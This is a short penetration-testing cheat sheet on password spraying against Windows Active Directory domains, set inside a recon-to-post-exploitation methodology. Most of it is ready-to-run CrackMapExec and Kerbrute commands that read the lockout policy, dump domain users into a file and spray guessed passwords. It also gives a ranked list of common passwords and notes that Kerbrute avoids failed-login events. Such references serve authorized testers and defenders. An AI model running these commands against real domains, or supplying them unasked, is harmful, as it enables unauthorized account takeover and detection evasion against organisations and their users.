Active Directory
Password Spraying (Safe)
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Low-priv domain creds
Rule
One password per spray. Respect the lockout threshold. Check crackmapexec smb <DC-IP> -u <USER> -p <PASS> --pass-pol first.
Get lockout policy first
crackmapexec smb <DC-IP> -u <USER> -p <PASS> --pass-pol
Look for: "Lockout Threshold" · spray 1 password per run, wait > observation window
Get user list
crackmapexec smb <DC-IP> -u <USER> -p <PASS> --users | \ grep -oP '(?<=DOMAIN\\\\)[^\s]+' > users.txt
Spray with CrackMapExec
crackmapexec smb <DC-IP> -u users.txt -p 'Password123' --continue-on-success
crackmapexec smb <DC-IP> -u users.txt -p 'Welcome1' --continue-on-success
crackmapexec smb <DC-IP> -u users.txt -p 'Spring2024!' --continue-on-success
crackmapexec smb <DC-IP> -u users.txt -p '<COMPANY_NAME>123' --continue-on-success
Kerbrute spray (no failed logins in event log · stealthier)
kerbrute passwordspray --dc <DC-IP> -d <DOMAIN> users.txt 'Password123'
Common passwords to spray (in order of success rate):
Password1,Password123,Welcome1,Welcome123<Company>2024!,<Company>123!,<Season><Year>!<MonthYear>!e.g.Summer2024!<Company>@123